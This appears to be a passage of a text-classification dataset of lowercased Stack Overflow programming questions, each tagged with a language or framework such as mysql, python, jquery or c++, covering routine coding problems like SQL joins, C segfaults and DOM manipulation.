height:50px*/ }  .delete_span { width: 15px; height: 15px; background: red; display: inline-block; }  .crop_span { width: 15px; height: 15px; background: green; display: inline-block; position: relative; left: 20px; } </code></pre>,css
sql group by months  display empty months  i got an sql fiddle for this with minimal data. my database contains over 1000 output columns for my query which i couldnt load into sqlfiddle.    i would like to display all months for all years found. in my example car 1 was only sold in 2003 and i would like to display all empty months for 2003.    for car 2 it was sold in 2003 and 2004. so i would like to display all empty months for 03 and 04.    i have read a lot of similar questions and i think a simple join to a month table should do the trick. but i dont know how to do joins properly. could anyone help me out on this one     sql fiddle here: <a href= http://sqlfiddle.com/#!9/14b2f5/3  rel= nofollow noreferrer >http://sqlfiddle.com/#!9/14b2f5/3</a>    also my real query in my mysql workbench and its output look like <a href= https://i.imgur.com/zunuhe7.png  rel= nofollow noreferrer >this</a>. you can see that feb. 2003 is missing there. i would like to display  1952 alpine renault 1300  -  0  -  february 2003  instead of nothing like it is now.,mysql
accountmanagement.userprincipal.current takes 5 seconds  i m using the new .net 3.5 <strong>system.directoryservices.accountmanagement api</strong>.    in my code  i need to determine the current system.directoryservices.accountmanagement.userprincipal.    my naive approach was to do this:   <pre><code>using accountmanagement = system.directoryservices.accountmanagement;  ...  // determine current userprincipal. // (on my machine  this blocks for 5 seconds) //  accountmanagement.userprincipal principal = accountmanagement.userprincipal.current; </code></pre>   my computer is a stand-alone machine running vista. i am not part of any domain  etc.    any ideas on how to improve the performance,.net
how to set up an admin user in rails  i have a simple relationship    <pre><code>class school &lt; activerecord::base   has_and_belongs_to_many :users end  class user &lt; activerecord::base   has_and_belongs_to_many :schools end </code></pre>   a user can be part of many schools but at the same time a user might be the admin of a number of schools. i set up a many-to-many relationship to represent this however i m not sure how i would distinguish between admins and simple users.     i initially thought of setting a table which has a school_id and a user_id and every entry will represent the school id and the user id of any admins that the school has however i m not sure how i would represent this in rails or if it s the best way to solve this problem  and if it is  how do i access the table without a model associated to it      what i mean by what i said above:   <pre><code>school_id user_id     1       3     1       4 </code></pre>   which means that the school with id 1 has 2 admins (3 and 4),ruby-on-rails
segmentation fault (core dumped) in my code  i can t find a mistake in my code. when i run it  it says segmentation fault(core dumped). i read topics  but couldn t understand my mistake. it s in appropriate directory. i would be very thankful if some can help me.    <pre><code>#include&lt;stdio.h&gt; #define max 50  int main(){      int i n j t;     double a[max];      do{         printf( enter a lenght of your array );         scanf( %d   &amp;n);     }while (n&lt;1 || n&gt;max);      printf( enter the elements of your array );     for (i=0; i&lt;n; i++) {         printf( a[%d]=    i);         scanf( %lf   &amp;a[i]);     }      for(i=0;i&lt;n/2;i++){         for(j=n-1;j&gt;n/2;j++){             t=a[i];             a[i]=a[j];             a[j]=t;         }     }      for(i=0; i&lt;n; i++) {         printf( %lf   a[i]);     }     return 0; } </code></pre>,c
running a python method/function directly from a file  i would like to know if there is a way to directly run a python function directly from a file by just mentioning the filename followed by the function in a single line.    for example  lets say i have a file  <strong><em>test.py</em></strong>  with a function  <strong><em>newfunction()</em></strong> .    ----------test.py-----------   <pre><code>def newfunction():      print  welcome  </code></pre>   can i run the newfunction() doing something similar to this.    <pre><code>  python test.py newfunction </code></pre>   i know how to import and to call functions etc.having seen similar commands in django etc (<code>python manage.py runserver</code>)  i felt there is a way to directly call a function like this. let me know if something similar is possible.    i want to be able to use it with django. but an answer that is applicable everywhere would be great.,python
not a member of  taginput   i been following a tutorial word for word but i get an error which i couldn t get the answer solved from the guy who made the tutorial!     i got to this section of the tutorial which is where it went wrong: <a href= http://www.gamefromscratch.com/page/game-from-scratch-cpp-edition-part-6.aspx  rel= nofollow >http://www.gamefromscratch.com/page/game-from-scratch-cpp-edition-part-6.aspx</a>    the error i get is:   <pre><code>playerpaddle.cpp(32): error c2039:  iskeydown  : is not a member of  taginput  c:\program files (x86)\microsoft sdks\windows\v7.0a\include\winuser.h(5332) : see      declaration of  taginput   playerpaddle.cpp(36): error c2039:  iskeydown  : is not a member of  taginput  c:\program files (x86)\microsoft sdks\windows\v7.0a\include\winuser.h(5332) : see declaration of  taginput   playerpaddle.cpp(40): error c2039:  iskeydown  : is not a member of  taginput  c:\program files (x86)\microsoft sdks\windows\v7.0a\include\winuser.h(5332) : see declaration of  taginput   1&gt;c:\users\dave\c++\pang\playerpaddle.cpp(54): error c2064: term does not evaluate to a function taking 1 arguments </code></pre>   with this script section:   <pre><code>void playerpaddle::update(float elapsedtime) { if(game::getinput().iskeydown(sf::key::left)) {     _velocity-=3.0f; } if(game::getinput().iskeydown(sf::key::right)) {     _velocity+=3.0f; } if(game::getinput().iskeydown(sf::key::down)) {     _velocity = 0.0f; }  if(_velocity &gt; _maxvelocity)     _velocity = _maxvelocity;  if(_velocity &lt; -_maxvelocity)     _velocity = -_maxvelocity;  sf::vector2f pos = this-&gt;getposition();  if(pos.x &lt;= getsprite().getsize().x/2 ||     pos.x &gt;= (game::screen_width - getsprite().getsize().x/2)) {     _velocity = -_velocity; }  getsprite().move(_velocity * elapsedtime  0); } </code></pre>   i attached my project for some one to take a look at: <a href= http://tinyurl.com/7evajju  rel= nofollow >http://tinyurl.com/7evajju</a>,c++
i need to write to a sql express db in my asp.net web site  is network service the account to use   i need to write to a sql express db in my asp.net web site  is network service the account to use     thanks,asp.net
show same row value when run the program in java  hi my program work in back ground  and show different message from database    in specific time  the problem always show the same row    //////    **upload code **   <pre><code>public void mymethod(){  long starttime = system.currenttimemillis(); int counter = 0;      while(true) {          if((system.currenttimemillis() - starttime ) == 5000){ try{ string host =  jdbc:derby://localhost:1527/quet ; string uname =  eenas ; string upass=  2234 ; con = drivermanager.getconnection( host  uname  upass); stmt = con.createstatement(resultset.type_scroll_sensitive resultset.concur_updatable); rs = stmt.executequery(  select * from eenas.eenas );  rs.next(); int id_col = rs.getint( id ); string id =integer.tostring(id_col); string me=rs.getstring( message ); system.out.print(me);  rs.close();    }  catch(sqlexception err)  {    joptionpane.showmessagedialog(null  err);   }    starttime = system.currenttimemillis();      continue; }   else{ continue; } } }  </code></pre>   upload code,java
default member type can be changed by constructor   i m writing a class <code>a</code> with a member <code>m</code>.<br> i wanted the member variable to have a default (derived) type  but which could optionally be changed in the class constructor to another (derived) type.  something like   <pre class= lang-cpp prettyprint-override ><code>// a.h class a {     defaulttype m {0}; };   // a.cpp a::a() {     // if this is present  change m     m = othertype(1.  2.);      // otherwise  leave as default } </code></pre>   sorry i wasn t very clear the first time  tried to simplify the question and may have made it unintelligible.<br> the context is that i m exposing the constructor of <code>a</code> to the user  which is supposed to write the constructor  compile the code and run it. the rest of the implementation of <code>a</code> is in a separate file  not user-accessible. some of the member functions of <code>a</code> defined there will need to access <code>m.fun()</code>  which is a common method to <code>defaulttype</code> and <code>othertype</code>.    so the constraint is that i want the syntax within the constructor to be as simple as possible. if the user writes the constructor but simply leaves out the (re)definition of <code>m</code>  then the program will just consider it to be of the default type  and use <code>.fun()</code> from that class. otherwise  <code>m</code> will be of <code>othertype</code> and <code>.fun()</code> will come from there.    added to this  there will be some 10 other members like <code>m</code>.<br> i wanted to know if something like this is possible or if i ll have to rethink the whole design.,c++
left join with a where clause on left table  i want to filter my sql results between two given dates while also joining a table on a condition. this is the sql i m currently using:   <pre><code>select    event.location     event.dt     event.start from event where    event.dt between  2014-02-01  and  2014-02-04     left join entity on entity.id = event.entity    order by dt desc; </code></pre>   if i move the <code>event.dt between</code> to the join (i.e.  on <code>entity.id = . . . and event.dt between</code>)  it doesn t appear to filter the results at all  returning me a ton of results outside of the date range specified.,mysql
changing checkbox on a toggle div  this is my code:   <pre><code>$( #opentab ).click(function() {     $( .opentabdiv ).toggle();     $(this).toggleclass( closetab opentab );     return false; }); </code></pre>   basically there is a div (or link i should say) called #opentab  that when it is clicked  another div called .opentabdiv will open  and the class of #opentab will change.    now my problem comes when i put a checkbox in the #opentab div. i want the checkbox to be checked when the .opentabdiv is open  and empty when it is closed.    this is the html of the checkbox inside the #opentab div:   <pre><code>&lt;a href= #  id= opentab  class= closetab &gt;&lt;input type= checkbox  id= yesactive  name= yesactive  value= yes &gt; open&lt;/a&gt; </code></pre>   does anyone know the jquery to make the checkbox change  i ve tried some codes i found but it only works once. if i close the div  it does not untick.    the checkbox should be unticked on default because the .opentabdiv div is closed.,jquery
wrapping elements inside a div tag using jquery  im trying to wrap a couple of elements inside a <code>&lt;div&gt;</code> tag using jquery.    i first append a overall wrapper  then a header element and then a span element.  i m trying to wrap the header and span in a container div  followed a few posts on here and read through the docs  but just cant get it to work  currently it looks like this:   <pre><code>$(responsedata).each(function(i) {    var countryn= this.countryn;    var subtitles= this.subtitle;    var $mainwrapper = $( &lt;div/&gt; ).addclass( mainwrap );    $mainwrapper.append($( &lt;h4/&gt; ).text(countryn));    $mainwrapper.append($( &lt;span/&gt; ).text(subtitles).addclass( subt )); }) </code></pre>   which results in this:   <pre><code>&lt;div class= mainwrap &gt;    &lt;h4&gt;usa&lt;/h4&gt;    &lt;span class= subt &gt;$12.1 563m  d.a.c = 01/01/2013&lt;/span&gt; &lt;/div&gt; </code></pre>   what i m trying to achieve is this structure:   <pre><code>&lt;div class= mainwrap &gt;    &lt;div class= countrywrap &gt;       &lt;h4&gt;usa&lt;/h4&gt;       &lt;span class= subt &gt;$12.1 563m  d.a.c = 01/01/2013&lt;/span&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   my page has several of these sections (each within their own mainwrap)  tried using wrap all  but it needs to wrap both the header and the subtitle so not sure how i would select them (if that is the best way of going about it),jquery
speed up query on mysql view  i have a very long query with multiple sub queries and this query can take up to 30 sec to complete.    is there a better way to construct the query    <pre><code>   select from_unixtime(peg_remedy_incident.peg_outagestarttime  %m-%d-%y ) as  incident date   peg_category as category  (select group_concat(distinct peg_frm_inc_incidentxnetworkre.market order by market)  from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types in (1 2) group by peg_frm_inc_incidentxnetworkre.incidentvisibleid  peg_frm_inc_incidentxnetworkre.customercode) as market peg_frm_inc_incidentxcustomerr.customername as  customer     peg_frm_inc_incidentxcustomerr.customerticket as  customer tt#   peg_remedy_incident.peg_networkprovider as  network provider   peg_remedy_incident.peg_providerticketnumber as  network provider tt#    peg_remedy_incident.peg_thirdpartyvendor as  3rd party support vendor   peg_remedy_incident.peg_thirdpartyvendor_tt_ as  3rd party tt#     as  maintenance window outage  (y/n)   trim(leading  0  from  peg_frm_inc_incidentxcustomerr.incidentid) as  tt#  from_unixtime(peg_remedy_incident.peg_outagestarttime  %m-%d-%y %r ) as `event start time`  from_unixtime(peg_remedy_incident.peg_outagestoptime  %m-%d-%y %r ) as `event stop time`   =(m{rowid}-l{rowid})*1440  as  total minutes    =(m{rowid}-l{rowid})  as  total hours/minutes   =(m{rowid}-l{rowid})*r{rowid}*1440  as   total outage minutes   =(m{rowid}-l{rowid})*r{rowid}  as   total outage hours/minutes   (select count(distinct(site_id)) from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types=1) as  outage sites impacted   (select count(distinct(circuit_id)) from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and  peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types=1) as  outage circuits impacted   (select count(distinct(site_id)) from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types=2) as  simplex sites impacted   (select count(distinct(circuit_id)) from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and  peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types=2) as  simplex circuits impacted    peg_remedy_incident.peg_techname as  technician dispatch      as  summary &amp; ticket notes   peg_remedy_incident.peg_networkavailabilityaffecti   cast( case                  when peg_remedy_incident.peg_ring_lateral =  lateral                       then  yes                   when peg_remedy_incident.peg_ring_lateral =  ring                               then  no                                else                  end as char(3)) as  lateral (y/n)       as  backhaul/non-backhaul    peg_resolution_details as  resolution details   peg_causecode1 as  cause code 1   peg_causecode2 as  cause code 2   peg_causecode3 as  cause code 3   peg_causecode4 as  cause code 4   root_cause_analysis as  root cause analysis     as  notes   (select group_concat(distinct peg_frm_inc_incidentxwork_log.notes order by request_id) as  work log1  from peg_frm_inc_incidentxwork_log where peg_frm_inc_incidentxwork_log.incident_id=peg_frm_inc_incidentxcustomerr.incidentid  group by peg_frm_inc_incidentxwork_log.incident_id) as   work log   (select group_concat(distinct peg_frm_inc_incidentxnetworkre.site_id order by site_id) as  outagesite list1  from peg_frm_inc_incidentxnetworkre where peg_frm_inc_incidentxnetworkre.incidentvisibleid=peg_frm_inc_incidentxcustomerr.incidentid and peg_frm_inc_incidentxcustomerr.customercode=peg_frm_inc_incidentxnetworkre.customercode and peg_frm_inc_incidentxnetworkre.radiobutton_types=1 group by peg_frm_inc_incidentxnetworkre.incidentvisibleid  peg_frm_inc_incidentxnetworkre.customercode) as   outage site list   from peg_frm_inc_incidentxcustomerr left join peg_frm_inc_incidentxnetworkre on peg_frm_inc_incidentxcustomerr.incidentid=peg_frm_inc_incidentxnetworkre.incidentvisibleid   left join peg_remedy_incident on peg_frm_inc_incidentxcustomerr.incidentid=peg_remedy_incident.peg_visibleticketid where peg_frm_inc_incidentxnetworkre.radiobutton_types in(1  2) and  peg_remedy_incident.peg_visibleticketid&gt;=000000000034000 group by peg_frm_inc_incidentxnetworkre.incidentvisibleid peg_frm_inc_incidentxcustomerr.customercode   </code></pre>,mysql
prevent css conflicts in webapps  i am building a webapp which others may embed on their website. a part of this webapp constructs dialogues  which have their own stylesheets. a problem may occur if  for example  my dialogue container is in a class <code>.container</code>  while the website the app is embedded on also uses a <code>.container</code> for some other means.    i have considered renaming all my classes like <code>.appname-container</code>  and will do that if there is no other solution. however  i would like to be as lazy as possible. is there any easier way to prevent unforeseen conflicts with stylesheets i have no control of     <strong>edit</strong>: my webapp wraps itself around a <code>&lt;video&gt;</code> element  so i m not sure that <code>&lt;iframe&gt;</code>s can be used.,css
counting words and white spaces in python from a text file  so i have this code that reads in a text file  grabs the words  then gets the frequency of each letter. but right now it s not taking into account spaces. is there a way to modify the following to count for spaces as well. so i d like <code>   </code> to be a word if that makes sense. i guess i d also like to factor in new lines as well so <code>\n</code>   <pre><code>word_list = []  file = open(file_name   ru )  for line in file:     for word in line.split():        word_list.append(word);     *frequency code* </code></pre>,python
javascript custom htmlelement issue  i m creating a custom  counter  component with htmlelement    here is the html for this component:   <pre><code>&lt;template id= counter-template &gt;   &lt;div class= counter__wrapper &gt;     &lt;h2 id= counter__status &gt;&lt;/h2&gt;     &lt;button id= continue &gt;continue&lt;/button&gt;     &lt;button id= stop &gt;stop&lt;/button&gt;   &lt;/div&gt; &lt;/template&gt; &lt;script src= counter.js &gt;&lt;/script&gt; </code></pre>   and the counter.js code:   <pre><code>const currentdocument = document.currentscript.ownerdocument;  class customcounter extends htmlelement {   constructor() {     super();      this.count = 0;     this.enablecount = true;   }    static get observedattributes() {      return [ count ];    }    attributechangedcallback(name  oldvalue  newvalue) {     if (this.enablecount) {       this.count = newvalue;       this.shadowroot.queryselector( #counter__status ).innerhtml = this.count;     }   }     connectedcallback() {     const shadowroot = this.attachshadow({mode:  open });     const template = currentdocument.queryselector( #counter-template );     const instance = template.content.clonenode(true);     shadowroot.appendchild(instance);      this.setattribute( count   this.count);     this.shadowroot.queryselector( #stop ).addeventlistener( click   function() {       this.enablecount = false;     })   }  }  customelements.define( custom-counter   customcounter); </code></pre>   the component is working fine  but i m using it in a setinterval function  where i am setting the  count  attribute to the interval s iterator  like this:   <pre><code>  var counter = document.queryselector( custom-counter );   var i = 1;   var completedat = 10;    var interval = setinterval(() =&gt; {     counter.setattribute( count   i);     if (i == completedat) {       clearinterval(interval);     }     i++; }  1000); </code></pre>   and it s working fine  the  count  attribute is changing and being displayed in the html.    now  the problem is that i need to stop the counter when i click the  stop  button  and as you can see i ve added a click listener in the   connectedcallback() that will set the value of this.enablecount to false     and despite having an if statement to check this.enablecount before updating the html in attributechangedcallback()   <pre><code>  attributechangedcallback(name  oldvalue  newvalue) {     if (this.enablecount) {  // &lt;==== this one       this.count = newvalue;       this.shadowroot.queryselector( #counter__status ).innerhtml = this.count;     }   } </code></pre>   the count does not stop when i click the stop button. (if i console.log the value of this.enablecount it s giving me false  but the count does not stop updating),javascript
duplicate instance of a jquery photo gallery  i m using the following photo gallery: <a href= http://coffeescripter.com/code/ad-gallery/  rel= nofollow >http://coffeescripter.com/code/ad-gallery/</a>    it s working perfectly in my website but when i try to duplicate it s instance as i want to show it twice within one page the display is getting messed up.    how can i initialize two different instances without affecting the photo gallery display.    ps: i m duplicating the instance by just coping the divs holding and shaping the photo gallery twice.    thx,jquery
how can i override pseudo classes in css3  i defined the pseudo class <code>red:before</code> and <code>red:after</code>  which contain a border-color hexcode. now i need to switch the color from red to blue using another css class named <code>blue</code>.    here is my html:   <pre><code>&lt;div class= red blue &gt;text&lt;/div&gt; </code></pre>   and this is my css:   <pre><code>.red:before  .red:after { border-color: red; } </code></pre>   how can i set the css for <code>.blue</code> to make the border-color blue,css
working with  bed  files in python  i have a .bed file which contains 1000 lines and the words in each line are separated by tab (\t). if we consider each word as one column  each line has 12 columns.  i need a way to convert this .bed file to a matrix  so that i can access its columns easily. foe example  i need to access the column number 12. is there any way that i can do it     i already have tried this:   <pre><code>    import numpy as np     data = np.genfromtxt( myfile.bed ) </code></pre>   but it does not work properly. can any one help me please,python
css-specifity and css inheritance (concrete question)   i would by thankful for an official link (and section) of the specification for css  that explains if:   <pre><code>.one two h1 {color:green;font-family:arial;}  /*case 1 */ .one two h1 {color:blue;}   /*case 2*/ </code></pre>   will result in (when evaluated by the browser)   <pre><code>.one two h1 {color:blue;font-family:arial;}  /*case 3*/ </code></pre>   or will it be:   <pre><code>.one two h1 {color:blue;}  /*case 4*/ </code></pre>   ==>i have read a lot about inheritance  specifity  cascading etc but i still have not found for the given example which rules apply here.     in regard to specifity  both elements are equal in specifity: however the case2 will  win  as it is equal specific but the last(!!) one declared (=most specific).  but does specifity always apply to the whole selector with all properties defined. or only to the properties that are in  competition  (and declared in both).    thanks!!!!,css
delete the last row and the last columns of a dynamic array in c  i have created a dynamic 2d array in c declared as a pointer array. how do i delete the last row both in the pointer array and the row it points to      if i will use the    <pre><code>    arr=realloc(arr   i*sizeof(int *)); </code></pre>   and the i is 3 (4 rows-1)    are the columns in the 4th row gonna delete or i need to use something like this     <pre><code>    arr[i]=realloc(arr[i]  sizeof(char));     arr=realloc(arr   i*sizeof(int *)); </code></pre>   if it is correct or i need to use          free()   <hr>   here is my code but i want to delete the last row with the columns and i dont know how    <pre><code>int main(void) {     char **arr str[500];     int i=0 j min_str_pos;     long min;     arr = malloc(sizeof(int *));     arr[i] = malloc(500*sizeof(char));     do {             printf( enter a string (or just press &lt;enter&gt; to exit): \n );             fgets ( str  500  stdin );             if (strcmp(str   \n )) {                     strcpy(arr[i] str);                     i++;                     arr=realloc(arr   (i+1)*sizeof(int *));                     arr[i] = malloc(500*sizeof(char));             }     } while (strcmp(str   \n )); </code></pre>,c
how to import contacts from various mail providers (gmail yahoo  hotmail) using .net  i want to import the contacts from different mail providers like gmail  yahoo and hotmail in .net. the goal is to retrieve a list of contact to send an email to each of them. what apis exist to retrieve these informations  is there an unified api to query all these providers,.net
subtract days from date  how do i take away days from a date  so for example the the second line is the line which doesn t work  just wondering how i would take away days from a date    <pre><code> $statement_date = date( y-m-d   strtotime($date[$selected_int]));   $statement_view = $statement_date (-14 days); </code></pre>,php
how to get date (yyyy/mm/dd) from ticks without using an instance/helper of/from datetime c#  i m trying to extract date from ticks.    am i right that  a millisecond is 10000 ticks.  and a day is 864000000000 ticks and a month  is 26784000000000 and a year is 316224000000000.    but when i use these in computations  i get wrong date :(.    it could have been easy using datetime parse but  for some reasons they say that i shouldn t rely on it as it is rather slower.    would appreciate your help. thank you.    update:   <pre><code>//assume this for now      datetime time = datetime.now; char[] ashigakaricom= new char[] {  yyyy   -   mm   -   dd   -   h   h   :   m   m   :   s   s   :   m   m   m  };  long ticks = time.ticks;  int n1 = (int)(ticks &gt;&gt; 32);  int n2 = (int)ticks;  if (n2 &lt; 0)  n1++;   ticks = (((math.bigmul(429497  n2) - (int)(math.bigmul(1161359156  n2) &gt;&gt; 32) - math.bigmul(1161359156  n1)) &gt;&gt; 32)) + math.bigmul(n1  429497); n1 = (int)(ticks &gt;&gt; 32);  n2 = (int)ticks;    if (n2 &lt; 0)  n1++;   int q = n1 * 50 + ((50 * (n2 &gt;&gt; 16)) &gt;&gt; 16) - (int)(system.math.bigmul(1244382467  n1) &gt;&gt; 32) - 1;   int r = (int)(ticks - system.math.bigmul(q  86400000));   if (r &gt; 86400000)  r -= 86400000;     //so on </code></pre>,c#
random simulation of 20 die throws  trying to simulate 20 dice throws randomly  the code needs to enclose with parenthesis a value that is the same  the parenthesis appear  but i am missing something on my formula  any advise can greatly help  eg:   <pre> 1 ( 4 1 ) 2 3 6 1 4 3 2 6 6 6 5 6 2 1 3 5 3 # incorrect 1 4 1 2 3 6 1 4 3 2 ( 6 6 6 ) 5 6 2 1 3 5 3 # this is a correct example  </pre>  <pre><code>def main():      examplelist = [ ]      for i in range(20):         examplelist.append(randint(1  6))     print(examplelist)     print(list(range(0 20)))      max_count = 0     run_count = 0      matched = false #inrun = false                # find max run     for rollvalue in examplelist:       #print(rollvalue)       if run_count == 19:           print()        else:                     print( ------- )           print( roll value %s  % examplelist[run_count])           print( position   %s  % run_count)           print( next roll value %s  % examplelist[run_count + 1])           if examplelist[run_count] == examplelist[run_count + 1]:              matched = true              print( -------&gt;&gt;&gt;matched )           else:              matched = false#inrun = false           run_count += 1        if rollvalue &lt; 19:           if examplelist[rollvalue] == examplelist[rollvalue + 1]:              run_count += 1           if matched == false:               matched == true               run_count = rollvalue            else:             matched = false           if run_count &gt; max_count:              run_count = 1     # print sequence     for rollvalue in range(20):        if rollvalue == run_count:                print( (   examplelist[rollvalue]  end =    )         elif rollvalue == run_count + max_count + 1:             print(examplelist[rollvalue]   )   end =    )         else:             print(examplelist[rollvalue]  end =    )             main() </code></pre>,python
edit xml layout params dynamically before inflate  i would like to change layout params like layout_weight dynamically before inflating the layout and setting the content view for an activity.  how would u do this :   <pre><code>@override public void oncreate(final bundle savedinstancestate) {     super.oncreate(savedinstancestate);      //edit layout weight for some views in my layout here  before setting content view      setcontentview(r.layout.mylayout);  } </code></pre>,android
can i run micro cloud with edited java version  or jvm   is it possible to run micro cloud foundry on new (self edited) java version  i have enhanced few core java classes to support taint tracking  this has been done for academic purposes only  so it is not breaking sun t&amp;c s. specifically i need to run micro cloud on new java version  so that i can launch web applications on it and test the taint tracking propagation on enhanced core java classes.    *taint tracking: enhanced core java classes such as string  string builder etc. to have extra boolean value which identifies whether the input is trusted or not. (sql injections  xss etc.)    kind regards  assel,java
how does the call  new  invoke user-defined placement allocation function   the call <code>int *a = new(__file__  __line__) int;</code> can invoke the function <code>void* operator new(size_t   const char *  unsigned int );</code>.    how it work,c++
refactoring a simple method in my controller  i m having a tough time deciding how to refactor this method in my controller. the idea is that (in this case) it graphs the users that joined (or were created) in the past two weeks.     you might be wondering why i did the <code>@graph_limit</code> thing  and that is because i always want the day that has the most results to be the tallest bar on my bar chart (which in the view are just created with css by making the height of the <code>&lt;div&gt;</code> using css).    basically i want to dry it up and... ya know just about improve this method as much as possible:   <pre><code># controller def index    two_weeks_ago = date.today - 13.days    @users_graphed = user.count(:conditions=&gt;[ created_at &gt;=     two_weeks_ago]  :order =&gt;  date(created_at) desc   :group =&gt; [ date(created_at) ])    two_weeks_ago.upto(date.today) do |day|     @graph_limit = 100/@users_graphed.values.max.to_f     @users_graphed[day.to_s] ||= 0   end  end </code></pre>   also i should mention  that you guys are probably going to rip my code to shreds... so i m bracing for the outcome.   <pre><code># view &lt;% @users_graphed.sort.reverse.each do |user| %&gt;   &lt;li&gt;            &lt;% content_tag :div  :style =&gt;  height: #{number_with_precision(user[1] * @graph_limit  :precision =&gt; 2)}px;    :class =&gt;  stat_bar  do %&gt;       &lt;%= content_tag(:span  user[1]) unless user[1] == 0 %&gt;     &lt;% end %&gt;   &lt;/li&gt; &lt;% end %&gt; </code></pre>   ultimately and what my real goal here is to put this into my application controller and be able to chart any models by it s <code>create_at</code> times. maybe something like <code>tasks.chart_by(2.weeks)</code>. how would you guys get this separated out into something i can use throughout the whole app,ruby-on-rails
backspace not erasing character  similar to bash  i can parse input  traverse up and down in the history but my backspace does not work. why is that    <pre><code>void printprompt(void) { // prints working directory prompt     char cwd[256];     getcwd(cwd  255);     printf( %s&gt;    cwd);     fflush(stdout); } </code></pre>,c
need clarification on the mechanics of calling a non-object function from an object  note: <em>this is for self edification.</em>      <strong>scenarios:</strong> <br/> i create an objective-c object and within it i call a standard c function.   <strong>scenario #1:</strong> (c function <em>outside</em> an objc object):     <pre><code>#import  viewcontroller.h   void sayhello() {     int x = 12345;     char *y =  greetings ;      printf( %s: the value of x: %i   y  x); }  @interface viewcontroller () @end  @implementation viewcontroller  - (void)viewdidload {     sayhello();     [super viewdidload]; }   @end </code></pre>     <strong>scenario #2:</strong> (c function <em>within</em> an objc object):   <pre><code>#import  viewcontroller.h   @interface viewcontroller () @end  @implementation viewcontroller  void sayhello() {     int x = 12345;     char *y =  greetings ;      printf( %s: the value of x: %i   y  x); }  - (void)viewdidload {     sayhello();     [super viewdidload]; }   @end </code></pre>     <strong>question:</strong> <br/> do the two scenarios differ other than scope,objective-c
how to handle form authentication in ie7&ie8  hi i am using ie7 and ie8 browser for running web appliction. i have login in the web application go on the next page. if have copy the url of the next page  and open new browser and paste url  then open directly next page. i mean my form authentication is not working. please help how to handle this issue.,asp.net
jquery autocomplete is displaying & as &amp  text in db field - test &amp; test    displayed in jquery auto complete  - test &amp;amp test   <pre><code>jquery code: $(function(){     $( #search_client_input ).autocomplete({       source: url+ get_alike_clients         minlength: 1     });   }); </code></pre>   php code (to get data from db and return to jquery):   <pre><code>public function fetch_alike_clients($clients)     {         $this-&gt;db-&gt;select( nameclient );         $this-&gt;db-&gt;like( upper(nameclient)   strtoupper($clients));         $query = $this-&gt;db-&gt;get( client_data );         $clients_data_set = array();         if($query-&gt;num_rows() &gt; 0)         {             foreach ($query-&gt;result_array() as $row) {                 $clients_data_set[] = htmlentities(stripslashes($row[ nameclient ]));             }         }         echo json_encode($clients_data_set);     } </code></pre>   not sure how to fix this issue as it is appearing in all names which have &amp; in its name.,jquery
open every files type in ios  i m developping a messaging app allowing user to add attachments to their messages.    is there a way to open every files type   maybe like <code>intent</code> in android   or in <code>webview</code>      types are docx  pdf  png  jpg  mov  xls  zip  mp3  etc.,ios
c# mouse_event while holding left mouse button  so i have this code and it is currently working  however  it does not work how i want it to. i would like it so if my left mouse button is held  then it repeatedly clicks  however  i am using mouse_event and simulating mouse up which causes it to only click once maybe twice and then stop as it thinks that i released the mouse button...   <pre><code>const int leftdown = 0x0002; const int leftup = 0x0004; const int leftisdown = 0x01; while (true)    if (settings.bclicker &amp;&amp; (utils.getasynckeystate(leftisdown) &amp; 0x8000) &gt; 0)   {     utils.mouse_event(leftdown  0  0  0  intptr.zero);     utils.mouse_event(leftup    0  0  0  intptr.zero);     thread.sleep(1000);   } } </code></pre>   any ideas  it works with say  right mouse button being held but not left ;(,c#
how to create reference item in a table under mysql   i wanna to create a reference in a table. e.g. if i got a table like this:   <pre><code>create table foo (     id int primary key       name varchar(64) not null       *......* ); </code></pre>   how do i create another table that can refer to the id and name of foo table    <pre><code>create table goo (     -- i wanna add reference item from foo table :-) ); </code></pre>,mysql
get formcontroller whit variable name attribute  when i use variable name at the form and name attribute is not specified   the form controller is not published on the current scope under this name. how i can get  formcontroller    <pre><code>&lt;form name= {{ myform }}  ng-controller= ctrl &gt;   &lt;input name= input  required&gt;   &lt;tt&gt;myform.$valid = {{myform.$valid}}&lt;/tt&gt; &lt;/form&gt; </code></pre>,angularjs
how to store different get variable in an array  there s a <code>$_get</code> variable and it sends a value each time user clicks an element. on the first click <code>somedata_1</code> is sent  on the second click <code>somedata_2</code> is sent and so on.    i want to create an array and put the data in one after another into the array:   <pre><code>if (isset[$_get[ mygetvar ])) {     $myvar = $_get[ mygetvar ]; // right now it holds data_1 } </code></pre>   how can i grab that <code>data_1</code> and put it in :   <pre><code>$myarray[0]; </code></pre>   and user clicks again so:   <pre><code>if (isset[$_get[ mygetvar ])) {     $myvar = $_get[ mygetvar ]]; // right now it holds data_2 } </code></pre>   how can i grab this <code>data_2</code> in put it in:   <pre><code>$myarray[1] </code></pre>   and the next data in <code>$myarray[2]</code> and <code>$myarray[3]</code>.    i don t want to insert this data into a database. (if that s possible),php
